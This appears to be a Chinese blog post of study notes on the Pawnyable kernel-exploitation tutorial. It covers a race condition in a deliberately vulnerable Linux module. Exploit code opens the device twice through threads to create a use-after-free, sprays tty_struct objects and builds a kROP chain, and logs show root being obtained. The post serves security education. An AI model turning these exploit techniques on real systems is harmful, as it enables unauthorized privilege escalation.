前言

Pawnyable是一个由ptrYudai开发的Linux内核漏洞利用的入门教程。在这个教程中,作者设计了存在漏洞的Linux内核模块,并结合这些内核模块依次介绍了内核漏洞研究的环境搭建及调试方法、堆栈溢出、释放后重用(use after free,简称UAF)、竞态条件(race condition)、空指针解引用(NULL pointer dereference)、双重取回(double fetch)等多种漏洞类型,和滥用userfaultfd、滥用FUSE等漏洞利用方法。虽然该系列教程全部使用日语,我们可以使用Google翻译提供的网站动态翻译功能来阅读该教程的中文版本英文版本

“Linux Kernel PWN | 04”系列文章是我针对此教程的学习笔记,文章结构与原教程基本保持一致,也会补充一些学习过程中获得的额外知识。我们在《Linux Kernel PWN | 0401 Pawnyable学习笔记》中介绍了Linux内核漏洞利用的基础知识、环境搭建和调试的方法;在《Linux Kernel PWN | 040201 Pawnyable之栈溢出》中依次讨论了在开启不同安全机制的情况下内核栈溢出漏洞的利用方法;在《Linux Kernel PWN | 040202 Pawnyable之堆溢出》中介绍了内核堆溢出漏洞的利用方法;在《Linux Kernel PWN | 040203 Pawnyable之UAF》中介绍了内核UAF漏洞的利用方法。

本文是课程第二部分“内核利用基础”第四小节的笔记,将讨论内核竞态条件漏洞的利用方法。下文使用的漏洞环境是LK01-4

1. 漏洞模块分析

与LK01-3相比,LK01-4的不同之处首先在于,其run.sh启动脚本中通过-smp 2将虚拟机设置为2核CPU。我们知道,竞态条件漏洞利用在多核环境下的成功率更高。如果这是一道CTF题目,那么我们也可以根据这个选项推测目标环境可能存在竞态条件漏洞。

其次,LK01-4试图通过引入一个新的mutex变量来保证同一时刻目标设备只能被打开一次。如果该措施有效,我们就不能通过open两次并close(fd1)来制造及触发UAF了。整个模块的核心代码如下(为突出重点,删除了一些打印、判断和返回语句):

#define BUFFER_SIZE 0x400
int mutex = 0;
char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file) {
  if (mutex)
    return -EBUSY;
  mutex = 1;
  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  return 0;
}
static ssize_t module_read(struct file *file, char __user *buf, size_t count, loff_t *f_pos) {
  if (count > BUFFER_SIZE)
    return -EINVAL;
  copy_to_user(buf, g_buf, count);
  return count;
}
static ssize_t module_write(struct file *file, const char __user *buf, size_t count, loff_t *f_pos) {
  if (count > BUFFER_SIZE)
    return -EINVAL;
  copy_from_user(g_buf, buf, count);
  return count;
}
static int module_close(struct inode *inode, struct file *file) {
  kfree(g_buf);
  mutex = 0;
  return 0;
}

问题在于,新引入的mutex变量作为保护措施,真的能够有效保证同一时刻目标设备只能被打开一次吗?一旦我们有某种方式能够绕过这层保护,同时打开多次该设备,那么该情景实际上就退化成了《Linux Kernel PWN | 040203 Pawnyable之UAF》中的情景。也就是说,如果能够绕过这层保护,我们完全可以使用与上一节完全相同的针对UAF漏洞的利用方式来提升权限。

2. 竞态条件漏洞原理

信息安全领域的同学或多或少都接触过竞态条件漏洞,因为它十分常见。这里我们不再解释什么是竞态条件,不熟悉的同学可以参考维基百科

2016年的DirtyCoW(CVE-2016-5195)就是一个Linux内核竞态条件漏洞,我曾在《CVE-2016-5195实验|DirtyCoW与Docker逃逸》中尝试复现从用户态PWN到利用DirtyCoW进行容器逃逸的流程;后来,在《逃逸风云再起:从CVE-2017-1002101到CVE-2021-25741》中,我介绍并复现了当时Kubernetes存在的TOCTOU漏洞CVE-2021-25741,可以认为TOCTOU是竞态条件的一种类型;2021年年底,我在《Exploit Symlink for Fun and Profit: From Native to Cloud Native》议题中总结了云原生环境下符号链接处理不当导致的TOCTOU漏洞,其中不仅包括前面提到的CVE-2021-25741,还包括Docker Daemon的CVE-2018-15664和runC的CVE-2019-19921CVE-2021-30465等漏洞。

本文涉及的漏洞模块就存在竞态条件漏洞。让我们考虑线程A和线程B同时打开目标设备的情况:

  1. 理想状态下,线程A首先打开目标设备,module_open函数执行,mutex全局变量被设置1;此时线程B再尝试打开,module_open将返回EBUSY错误信息,打开失败。
  2. 然而,还有一种情况是,线程A首先打开目标设备,执行module_open函数到if (mutex)判断语句后、mutex=1操作之前时,线程B同样也执行到了if (mutex)判断语句后、mutex=1操作之前。这样一来,线程A和线程B都能顺利打开该设备,mutex=1将被执行两次。

在上述情况2中,我们成功使用两个线程绕过了限制,从而针对上一篇笔记中分析过的UAF漏洞进行攻击。

我们可以编写代码验证一下情况2的可行性。这里附上我的PoC。核心代码片段如下:

int win = 0;
void *race(void *arg) {
    while (1) {
        while (!win) {
            int fd = open("/dev/holstein", O_RDWR);
            if (fd == 4)
                win = 1;
            if (win == 0 && fd != -1)
                close(fd);
        }
        if (write(3, "A", 1) != 1 || write(4, "a", 1) != 1) {
            close(3);
            close(4);
            win = 0;
        } else
            break;
    }
    return NULL;
}
int main() {
    pthread_t th1, th2;
    pthread_create(&th1, NULL, race, NULL);
    pthread_create(&th2, NULL, race, NULL);
    pthread_join(th1, NULL);
    pthread_join(th2, NULL);
    puts("[+] reached race condition");
    char buf[0x400] = {0};
    int fd1 = 3, fd2 = 4;
    write(fd1, "aptx4869", 9);
    read(fd2, buf, 9);
    printf("[+] content: %s\n", buf);

    return 0;
}

上述PoC运行过程如下:

/ # /exploit
[*] running thread 1 and thread 2
[+] reached race condition
[*] writing 'aptx4869' into fd 3
[*] reading from fd 4
[+] content: aptx4869

可以看到,在触发竞态条件的情况下,我们成功用线程1和线程2分别打开了目标设备,得到fd1和fd2两个有效的文件描述符,并通过向fd1写和从fd2读验证了这两个文件描述符指向同一块内存区域(g_buf指针指向的动态申请的堆内存)。此时,只需要close(fd1)就可以造成UAF。

接下来,我们尝试基于kROP编写ExP来提升权限。

3. 基于kROP的漏洞利用

UAF漏洞利用的部分跟上一篇笔记中几乎相同。不同点在于,我们需要通过触发竞态条件来绕过mutex的限制,进而实施堆喷,触发UAF漏洞。这部分的核心代码如下:

int create_overlap() {
    pthread_t th1, th2;
    char buf[0x10] = {0};
    cpu_set_t t1_cpu, t2_cpu;
    // cpu affinity
    CPU_ZERO(&t1_cpu);
    CPU_ZERO(&t2_cpu);
    CPU_SET(0, &t1_cpu);
    CPU_SET(1, &t2_cpu);

    puts("[*] opening /tmp to figure out next two fds");
    fd1 = open("/tmp", O_RDONLY);
    fd2 = open("/tmp", O_RDONLY);
    close(fd1);
    close(fd2);
    printf("[+] next two fds: fd1 <%ld>, fd2 <%ld>\n", fd1, fd2);

    puts("[*] running thread1 and thread2");
    pthread_create(&th1, NULL, race, (void *)&t1_cpu);
    pthread_create(&th2, NULL, race, (void *)&t2_cpu);
    pthread_join(th1, NULL);
    pthread_join(th2, NULL);

    puts("[+] reached race condition");
    puts("[*] checking whether this race condition is effective");
    write(fd1, "aptx4869", 9);
    read(fd2, buf, 9);
    if (strcmp(buf, "aptx4869") != 0) {
        puts("[-] bad luck :(");
        exit(1);
    }
    memset(buf, 0, 9);
    write(fd1, buf, 9);
    puts("[+] gotten effective race condtion");
    puts("[*] closing fd1 to create UAF situation");
    close(fd1); // create UAF

    long victim_fd = -1;
    victim_fd = (long)spray_thread((void *)&t1_cpu);
    while (victim_fd == -1) {
        puts("[*] spraying on another CPU");
        pthread_create(&th1, NULL, spray_thread, (void *)&t2_cpu);
        pthread_join(th1, (void *)&victim_fd);
    }
    printf("[+] overlapped victim fd <%d>\n", (int)victim_fd);
    return victim_fd;
}

其中,我们通过设置CPU Affinity来让不同线程运行在不同的CPU上,从而提高竞态条件触发成功率和堆喷成功率。

这里附上作者的ExP我的ExP。ExP运行可能会出现利用失败、内核崩溃等情况,与之前几节的ExP相比没有那么稳定。利用成功的过程如下:

/ $ /exploit
[*] saving user land state
[*] UAF #1
[*] opening /tmp to figure out next two fds
[+] next two fds: fd1 <3>, fd2 <4>
[*] running thread1 and thread2
[+] reached race condition
[*] checking whether this race condition is effective
[+] gotten effective race condtion
[*] closing fd1 to create UAF situation
[*] spraying 800 tty_struct objects
[*] spraying on another CPU
[*] spraying 800 tty_struct objects
[*] spraying on another CPU
[*] spraying 800 tty_struct objects
[+] overlapped victim fd <5>
[*] leaking kernel base and g_buf with tty_struct
[+] leaked kernel base address: 0xffffffff87800000
[+] leaked g_buf address: 0xffff9b6c01b6f400
[*] crafting rop chain
[*] overwriting tty_struct target-1 with rop chain and fake ioctl ops
[*] UAF #2
[*] opening /tmp to figure out next two fds
[+] next two fds: fd1 <3>, fd2 <6>
[*] running thread1 and thread2
[+] reached race condition
[*] checking whether this race condition is effective
[+] gotten effective race condtion
[*] closing fd1 to create UAF situation
[*] spraying 800 tty_struct objects
[*] spraying on another CPU
[*] spraying 800 tty_struct objects
[*] spraying on another CPU
[*] spraying 800 tty_struct objects
[+] overlapped victim fd <3>
[*] overwriting tty_struct target-2 with fake tty_ops ptr
[*] invoking ioctl to hijack control flow
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0(root) gid=0(root)
/ # exit

总结

竞态条件漏洞利用还是挺有意思的,关键在于编写出能够触发竞态条件的多线程逻辑和判断竞态条件是否触发的中止逻辑。在此之后,就是不同的漏洞利用“八仙过海,各显神通”了,如UAF、Double Free等,甚至仅仅是简单地修改一些标识位。

至此,课程第二部分就学习结束了。这部分我们学习了内核栈溢出、堆溢出、UAF和竞态条件漏洞的原理与多种利用手法。很有趣,感谢ptrYudai的精彩分享。